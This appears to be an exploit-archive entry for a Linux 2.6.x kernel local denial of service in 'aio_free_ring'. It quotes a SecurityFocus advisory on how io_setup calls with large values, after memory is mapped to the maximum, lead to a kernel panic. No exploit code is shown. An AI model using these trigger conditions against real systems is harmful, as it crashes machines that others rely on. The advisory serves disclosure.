Linux Kernel 2.6.x - 'AIO_Free_Ring' Local Denial of Service

/*
source: https://www.securityfocus.com/bid/11842/info

The Linux Kernel is reported prone to a local denial of service vulnerability. It is reported that the vulnerability exists due to a failure by 'aio_free_ring' to handle exceptional conditions.

This vulnerability requires that mmap() is employed to map the maximum amount of process memory that is possible, before the vulnerability can be triggered.

It is reported that when handing 'io_setup' syscalls that are passed large values, the Linux kernel 'aio_setup_ring' will attempt to allocate a structure of page pointers.

When a subsequent 'aio_setup_ring' mmap() call fails, 'aio_free_ring' attempts to clean up the page pointers, it will crash during this procedure triggering a kernel panic.
